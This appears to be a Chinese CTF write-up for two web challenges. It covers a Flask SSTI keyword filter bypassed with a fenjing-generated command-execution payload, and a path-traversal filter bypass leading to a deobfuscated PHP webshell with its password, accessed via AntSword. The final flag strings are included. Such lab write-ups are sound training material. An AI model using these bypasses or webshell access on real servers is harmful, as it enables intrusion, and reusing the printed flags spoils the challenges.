2024 CISCNx长城杯铁人三项 初赛 web-WriteUp

发布于 2025-01-21  46 次阅读


Safe_Proxy

访问可以看到源码

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

render_template_string可知道考ssti

waf可知,用fenjing来构造pop

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level=logging.INFO)

def waf(s: str):  # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        "__",
        "import",
        "os",
        "sys",
        "eval",
        "subprocess",
        "popen",
        "system",
        "\r",
        "\n",
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(
        waf,
        "ls",
    )
    # config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    # print(f"{config_payload=}")

image-20241215171857602

本地尝试可行

image-20241215172010401

因为没有回显,就把读到的东西重定向到app.py

image-20241215172303520

image-20241215172338886

可以拿到flag

flag{a41276ed-86d1-4431-840d-17c044a8382e}

hello_web

f12可以看到提示../hackme.php../tips.php

主目录跳转默认有一个file参数可知是路径遍历,但是有过滤

就几个路径遍历可能的替换反复试,可以得出..././,即中间的../被替换为空

image-20241215173551660

变量里面没有flag

/hackme.php里面有混淆

image-20241215173616183

那就按照其逻辑一个个解

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst2=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};

echo "YwzIst:".$YwzIst.";";
echo "YwzIst2:".$YwzIst2.";";
echo "OxirhK:".$OxirhK.";";
echo "YpAUWC:".$YpAUWC.";";
echo "rVkKjU:".$rVkKjU.";";

?>

可以得到

// YwzIst:base;
// YwzIst2:64_decode;
// OxirhK:strtr;
// YpAUWC:substr;
// rVkKjU:52;

然后往下替换解出第一层

image-20241215174128403

然后继续换,得到

image-20241215174202437

链接密码是cmd_66.99

因为_是非法字符,换为[,

直接蚁剑连接

image-20241215174917116

执行没有回显

但是翻到根目录的run感觉有东西就顺便翻了一下找到了

image-20241215175524184

image-20241215175639007

flag{14524d74-f2c1-4fbc-831c-98c0dc66674d}

QQ:2219349024
最后更新于 2025-01-21